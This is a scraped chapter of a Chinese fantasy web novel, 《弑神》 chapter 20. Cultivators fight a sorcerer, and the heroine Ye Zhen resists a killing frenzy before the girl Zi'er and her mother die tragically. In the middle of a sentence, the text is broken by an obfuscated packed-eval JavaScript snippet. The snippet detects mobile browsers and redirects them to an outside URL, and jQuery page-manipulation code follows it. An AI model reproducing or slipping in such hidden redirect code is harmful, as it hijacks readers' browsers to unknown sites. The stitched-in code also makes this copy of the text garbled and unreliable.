20.煞女
作品:《弑神》 “是这吗?”凌君问。
没听到回答,众人看向叶祯,她沉默地点了点头。
“叶祯?你怎么了?”凌君觉得不对劲。
从施下摄心术后叶祯就一副魂不守舍的模样,除了指路一句话也不说,她到底在那女子的灵识里看到了什么?
黎明前的黑暗,压抑着,一丝光都透不过。
几十双脚发出细碎声,如淅淅沥沥的雨落在心境,麻木、恐惧,凌乱了人心“咚咚”跳动的节奏。
在理应哀悼荒凉的时刻,闪电般的狞笑劈过来,撕开一道张狂醒目的血口子:
“你们终于来了!哈哈哈哈!来吧!助我成就千秋大业!”
狂笑声从四面八方涌来,源自一人,却又如同千万人共振。
镇民们认出了九英的声音,再不能沉默,乱作一团哇哇大叫:
“不要杀我!不要杀我啊!”
“莫慌!莫慌!不要出法阵!”
三位长老高喊,一边将众人护在法阵里一边寻找声音的来源。
有个人过于害怕,从人群里挤出头也不回地跑了,惹得谛及大骂:
“兔崽子你给我站住!叫你们别来别来,非得来!来了又瞎跑!嫌命长赶着送死去!”
一道术法飞出打在远去的背影上,将人击晕了扯回来扔进法阵。
“都闭嘴。”白衍珞不耐烦地扫了人群一眼,“老实待着。”
被扔回去那人浑身抽搐口吐白沫,像条脱了水的鱼一样在地上扑腾,死是死不了的,但看这样子也治不好了。
唉,你说你们惹他干嘛?那可是白半神。
陈素叹了口气,心想幸好自己经验丰富早有准备——
“来来来,借过、借过!让我过去,我这有药专治雷伤,第一副白送,后面再有需要一百文一副!”
原先还滋哇乱叫的镇民们噤了声,岂敢再跑。
九英的笑声仍响彻天际,他们只好捂着耳朵挤在一起,缩在结界里瑟瑟发抖。
“叶祯。”白衍珞扬了扬头,“同我一道杀敌。”
叶祯没有应他,反手幻化出长枪,冷着脸转身,缓步走向人群,利刃随之在地上划出深深的长痕。
“叶祯!”凌君叫住她,“你做什么?”
“她入煞了!”谛及大吼。
“你们该死……”
叶祯怒瞪着眼,眼底一片血色。阵阵黑雾盘绕身侧,时而清晰时而消淡,恨意一步步蚕食了她的理智。
“是你们该死!”
“没错~他们该死!哈哈哈!杀了他们~杀了他们!”
狞笑铺天盖地传来,有孩童的声音,有老者的声音,有女人的声音,有男人的声音:
“我好恨啊——好恨啊!我死得好惨!你们该死!下来——下来陪我!”
“不好!”
时起反应最快,弹出数张符纸,符纸融进结界即刻扩出法阵,将所有人圈在阵内。
与此同时,天亮了——漫天猩红,瞬间笼罩在整座镇子上空,倾倒下来,红雾填满了每一寸。红雾并非雾气,而是戾煞,密密麻麻的戾煞。
“畜生东西!全是红煞!”
谛及大骂,作势要冲出去,“忒!来得正好!老子今日就在此替天行道!来啊!”
陈素赶紧拉住师父不让他去送死。
师父拳脚功夫了得,可外面是戾煞,赤手空拳如何斗得过浓雾?再说了,哪有丹师上阵杀敌的道理?要上也该是白半神上啊!白……白半神人呢?
* * * * * *
“轰隆——”雷鸣咆哮,震云破雾。
“咔嚓!”光焰万丈,劈天盖地。
红雾中悬立一人,近身缠绕银色光电法阵,正是白衍珞。
他施法引雷,无数道闪电接踵而来,戾煞被雷电震碎,更加癫狂地一拥而上。红煞嗜杀,同伴死得越多反而越振奋,漫天血光顷刻将他吞没。
“叶祯……”术师的声音突然响起,掩在戾煞的嘶吼声中蛊惑着叶祯,“杀了他们!你是对的,他们该死,快杀了他们!”
……
「人皆如此,放纵一次便会有第二次、第三次。一旦动了手,杀一人和杀十人有什么区别?何况这些人本就是罪人,毁灭他们难道不公平、不合理吗?嫉恶如仇有错吗?面对这样一群人愤怒才是理所应当的反应,但愤怒并不能解决问题——只有行动,只要行动,之后便是自然而然的事,人应顺势而为,人应惩恶扬善!」
……
作恶容易行善难,一旦跨过心里那道底线,人就会自然坠落。
术师想令叶祯入煞,这些念头便源源不断从叶祯脑海中冒出,像是其自然思考的结果。
叶祯只觉世界寂静无声,唯一听到的是自己的声音,隔着水雾,真实而陌生。
“……他们都是罪人。不思进取是罪,自甘堕落是罪,愚昧无知是罪,欺软怕硬是罪。”
“……现世道义只会替怯懦者开脱,既然世道腐朽我便重塑世间秩序。成王败寇,真理与权利在强者手中才有意义,千里之堤溃于蚁穴,我必须征服蝼蚁、统治蝼蚁,消灭蝼蚁。”
“……弱者才有贪嗔痴慢疑,弱者才会入煞。我不是卑劣的蝼蚁,我是对的,我要消灭弱者,消灭戾煞。”
就在这时,另一个熟悉的声音响起,越来越清晰——
“我叶家世代良将,保家卫国报效朝廷,祯儿你要记住,一个将士,手中长枪可杀敌军、可护君主,但绝不可挥向百姓!”
“父亲!”
叶祯痛苦地捂着头,感觉头要炸开一样疼。
她拼命摇头将脑子里的声音甩出去,嘴里不停地念着:
“不!不能入煞!我是叶家人,镇国将军之女,谁也休想掌控我!休想!”
「我-绝-不-会-入-煞!」
金光自眼中漫出,辐射至全身,驱逐黑暗。
黑煞嘶鸣,荡然无存。
叶祯的眼神逐渐恢复清冽,水雾的声音退去,镇民们尖叫哭喊的声音瞬间将她穿刺,而在漫天的怨气中,藏着一道清晰的狞笑。
她握紧长枪,冲时起高喊:“时起长老!弟子知晓术师藏身之处,请长老助我一臂之力,破开血雾!”
“来!”
时起一手掐诀,一手化出灵器,虚空绘制连串符文。白色符文组成龙形飓风,如同神龙腾云驾雾,卷了叶祯冲出法阵。
叶祯立于飓风之上,脚下是不断浮动翻滚的符文,她将长枪化长弓,灵力化箭搭弓射出。
龙吟长啸,风场撕裂血雾,逐箭而去。
风场外雷鸣电闪,白衍珞劈开一道屏障,伴于飓风一侧,与叶祯默契对视一眼,共同御敌。
* * * * * *
灵箭没入身体,如万千蚂蚁啃噬骨髓,疼痛万分。术师狰狞地看着两人,从嘴里发出嘶哑的笑声:
“不愧是至坚之人,果然没让我失望!哈哈哈!”
叶祯无视他的话,质问:“你对紫儿做了什么!”
“我做了什么,你不是在她灵识里都看到了吗?怎么样,还满意吗?将来也会是你的下场!哈哈哈!”
“你!”叶祯用力握着长枪,指节泛白,“你为什么要找特殊命格的人?有什么企图!”
“特殊命格?不过是编来骗那群傻子的话!”
“‘坚纯善清净真’是什么意思?快说!”
“我为什么要告诉你?”术师嘴角上扬成诡异的弧度,亢奋地朝叶祯扑去,“躲不掉的哈哈哈!天命不可违!你将成就魔神大人的伟业!叶祯,来吧!杀了他们,飞升成神人间就是我们的了!”
“我先杀了你!”
叶祯暴怒,举起长□□过去,长枪划破空气,带着恨意与果决直指术师眉心。
“叶祯!”白衍珞单手接下枪柄,用力抓住,“不要冲动。”
“你让开!”
“对,你让开!”术师尖声附和,“叫她杀了我!杀了我呀!杀了我就能入煞了,还在犹豫什么,快动手啊!”
术师的话一下子点醒了叶祯。
不,不能入煞,杀戮会令人上瘾,一旦开始就停不下来了!被愤怒本能驱使杀人,那是弱者的行径,她不能是弱者!
她是叶家人,叶将军之女!叶家满门忠义良将,爱国爱民,她岂能做出有损叶家之事,因愤怒对手无寸铁之人痛下杀手!
白衍珞感觉手中的长枪在颤抖中卸了力,松开手,皱眉扫了眼失魂落魄的叶祯,自己押着术师与长老们汇合。
……
风场结界外有戾煞嘶吼,风场内有镇民骂术师作恶多端,应该立马处死。
“呸!”
术师朝镇民们啐了口唾沫星子,“天大的笑话!我九英虽不是好人,你们又装什么正人君子!叶祯,告诉他们!是谁找来了煞女?是谁将其乱棍打死?说啊!你们敢说吗?!孬种!全都是孬种!”
……
术师和镇民们对骂个不停。
九英虽已疯癫,骂起人来却毫不含糊,破喇叭般的尖锐嗓音盖过了所有人的声音。
众术习者从他口中得知了事情真相,这才明白叶祯先前为何那般反常。
“混账东西!老子给你来个乱拳打死!”谛及气得直撸袖,若非陈素劝着拦着,两个拳头哐哐就要砸出去,“别拦我,老子要赏他们铁拳吃!”
凌君了解自己徒弟的性子,赶紧提醒她:“祯儿,问罪定罚之事自有衙门的人去做,你切莫——”
“愚蠢!”术师披头散发,癫狂大笑,“衙门又有何惧?便是那皇帝老儿我也不放在眼里!我九英才是天下唯一的王,大胆刁民,还不快快参拜!哈哈哈!”
“师父,九英与戾煞奉命搜寻‘特殊命格’之人,”叶祯无视术师,冷静对凌君长老说,“弟子想再施摄心术探查何为‘特殊命格’,还有他们受谁指使来此作乱。”
“不可。上回施术就险遭反噬,此地戾气太重极易入煞,我不能让你冒这个险。”
连时起也不赞同道:“凌君长老所言极是,现在人已经抓到,待谛及长老将吐真丹给他服下,还怕他有所隐瞒么?”
“好!”谛及吼道,“爱徒,起锅炼炉,为师给他烧个大的!给他毒成个傻子!”
* * * * * *
时起和凌君护着术师,以免镇民激愤再次失控,又把术师给捅死了。
“快看那!”突然有人尖叫,“煞女!它没死?!”
“啊———!”
风场外的血雾迅速往一个方向涌,汇入一具人型身体。
煞女像具提线木偶被吊在空中,垂着脑袋毫无生气。她身上有处极深的刀伤——有镇民趁叶祯施法时冲出结界泄愤所捅。
红煞此时正通过这道伤口与煞女融为一体,漫天红光像倒流的鲜血疯狂注入,生死逆转,煞女缓慢将脸转向人群。
「血。血。血。」
突然又有人大喊:“不好了不好了!九英仙人跑了!”
术师假降拖延时间,等众人发现煞女追上来时,他再趁机冲破禁制,逃之夭夭。
“坏了!”时起反应过来,“我们中计了!大家当心!煞女再杀一人邪术便可练成,大家千万不要离开法阵!”
“下面的蝼蚁听着!”
术师的声音从天上盖下来,高高在上宛若神明。
“我九英本无意杀生,只要你们交出叶祯,我可大发慈悲放你们其他人一条生路!”
“混账东西还真把自己当回事了?”谛及怒吼,指着天破口大骂,“上面的孙子听着!吾乃离贡宗第二十三任丹术长老谛及是也!你这妖士还不速速滚下来给老子受死!”
镇民们面面相觑,有个人想说话,白衍珞凌厉的眼神压着怒气扫射过去,毫不掩饰杀意,盯着他一字一顿道:“交出煞女,我考虑留你全尸。”
他这话是说给九英听的,却把那镇民吓得直哆嗦。
“敬酒不吃吃罚酒!”
术师话音刚落,煞女瞬移到了众人跟前。
时起两指夹着符纸欲丢过去,可那煞女游离在法阵外灵活闪避的速度极快,凭肉眼难以捕捉到她的身影。
白衍珞抬手化出一柄紫得发黑的冰杵,似棍非棍、似剑非剑,长约二尺。冰杵“蹭”地飞至半空,迸射出耀眼的光芒。
半球形的雷场瞬间盖下,将众人连同煞女一道笼罩在内,不断
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101642|162878||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
向内收缩。
煞女四处逃窜,被困在法阵与雷场之间,冰杵移动到上空,收束雷场,将她锁在原地。
白衍珞单手捏诀,走向煞女。
“不要!”
人群中突然挤出一妇人,挡在煞女身前声泪俱下,跪下来乞求,“求求你们不要杀紫儿,我可怜的孩子啊,要杀就杀我吧,放过我的孩子,求求你们!杀了我吧!杀——”
“小心!”
妇人离煞女太近,鲜血的味道令煞女发了狂,伸爪勾住妇人的衣摆一把将人拽出,毫不犹豫咬断脖颈。
血喷涌而出,只剩可怖的尖叫声。
白衍珞立即收回灵器,掷出,煞女将妇人丢出去后转身逃窜,冰杵向上避开妇人,旋即逐煞而去。白衍珞亦未理会命悬一线的妇人,冲出法阵。
邪术已成,不能让煞女与术师会和。
“不要杀她!”
叶祯大喊,此时白衍珞已离得很远,她当即带着长枪追出去。
“祯儿别去!”凌君说,“切莫中了术师的诡计!”
“师父放心,弟子自有分寸。”
……
妇人已是弥留之际,陈素赶紧给人服下丹药,经时起长老以内力一催,脸上逐渐恢复血色,还未等她完全睁开眼,有镇民跳出来指着她破口大骂:
“你这毒妇!要把我们所有人都害死了!你看看你生了个什么东西!有其母必有其女!两个妖怪!”
“住口!”
自知道煞女事件的来龙去脉,一向圆滑世故的陈素也忍不了了,之前拦着谛及长老是不想有损师父威名,可他实在是听不下去了,哪怕不做这真传弟子,他也要站出来说句公道话:
“抱怨抱怨,一路上只会抱怨!叫你们在结界待着,你们非说不安全要跟来!叫你们在法阵里不要离开,你们非要到处乱跑!除了会将错怪到别人身上你们还会什么!”
“你……?!”
“为那莫须有的回魂仪式打死一个活生生的人,逼死一个不够,还想逼死她母亲吗!你们想把所有人都逼死吗!”
“陈素!”凌君制止道,“慎言!”
“你你你……”一年迈的镇民指着陈素“你”了半天,气急攻心,当场心梗倒地。
众人慌乱如热锅上的蚂蚁,指着陈素谩骂,指着一众术习者谩骂。
谛及气得后槽牙都快咬碎了,却不能放任不管,在凌君再三催促下,铁青着脸,骂骂咧咧给老者服下丹药。
……
叶祯回来了,身后跟着一人。
“——煞女!!”
叶祯将煞女带回法阵,煞女眼中不再充满血色,与常人无异,她躲在叶祯身后,怯生生看着眼前这群人。
“她叫紫儿,”叶祯说,“不叫煞女。”
凌君望了眼紫儿,“这是怎么回事?”
“师父……”
“紫儿!我的孩子啊!”
“嘶!”
紫儿跑向妇人,依偎在她怀里,一个劲掉眼泪,“嘶……”
谛及炼丹多年到底也算个郎中,将死之人的面色他认得,眼下就有两个,便是这母女二人。
紧接着,白衍珞也将九英抓了回来,后者浑身上下没有一块好肉,已然被雷劈过,看起来脑子也不太灵光了。
九英见到紫儿,突然又清醒过来,冲过来大喊大叫:“成矣!成矣!哈哈哈哈哈!你们还在等什么?七七四十九人炼化亡魂,煞女亦可当这第四十九人,取其心头血平逝者戾气,杀啊,杀了她啊!”
白衍珞给了他一掌将其打晕。
这一幕刺激到了镇民们,他们惊恐后退:“快、快杀了煞女,快啊!”
“我看谁敢!”叶祯扬声道。
她不惧民言可畏,挡在母女二人身前,自信可以护下她们性命,哪怕与师父作对她也绝不退让!可她听到了一句可怕的话,不曾想致命的并非眼前的利剑,而是身后捅的刀——
“紫儿,是娘不好,娘没有保护好你,娘对不住你啊……”妇人声泪俱下,“你杀了太多人,要赎罪啊……”
“!”
叶祯以为自己听错了,难以置信地转回身,哑声道:“你说什么?”
“嘶……”
“赎罪?她何罪之有!”叶祯有些崩溃了,“她是你女儿!就算全天下人都说她有罪,唯独你不能!她被人伤害的时候你在哪!你凭什么和他们一起指责你的女儿!”
“我的心何尝不痛啊!”妇人厉声嘶吼,“天地有道,杀人偿命!死后会下地狱啊!会下地狱!永生永世不得安息!今生已经太苦了,我愿她现在赎罪来世不再受苦你明白吗!”
“杀人偿命。”叶祯突然想笑,视线一一划过镇民,“好个杀人偿命,你们谁敢杀人?谁想偿命?”
镇民们在迟疑中互相使了眼色,无声逼近,像一堵移动的巨型高墙挡在母女二人面前,居高临下盯着煞女,然而谁也不想当第一个下手的人。
叶祯冷笑一声,“都不敢么?呵,我敢。”
说完,施法一箭贯穿了紫儿的额头。
“!!!”
“不————”
「谢谢你。」
叶祯在脑海里听到了紫儿稚嫩的声音,那是两人灵识共通的地方,在那她听到紫儿自知命不久矣,求她带自己见一面母亲,在那她听到紫儿最后一句话:
「为什么。是愤怒……」
天色昏暗,紫儿倒下时视线模糊,她看到镇民们背对着光涌向自己。近了近了。她看见他们脸上的表情,是愤怒。为什么?为什么会是愤怒?为什么……
她很疑惑,但意识已经涣散,再无法深思。
紫儿死了。
“你为什么杀死她!”镇民怒不可遏,“她死了,心头血没了,所有人都救不活!”
为什么愤怒,紫儿,这就是为什么。他们要杀你,却不想杀死你,因为你的血还有价值,你的心还不能停止跳动。
妇人也死了。含笑九泉。
“九英与戾煞勾结,其实一开始就冲魂皿来,他利用你们的恐惧滋养戾煞,那些暴毙而亡的人皆死于他之手。”时起感叹,“之后四十九人,还有煞女,都白死了。”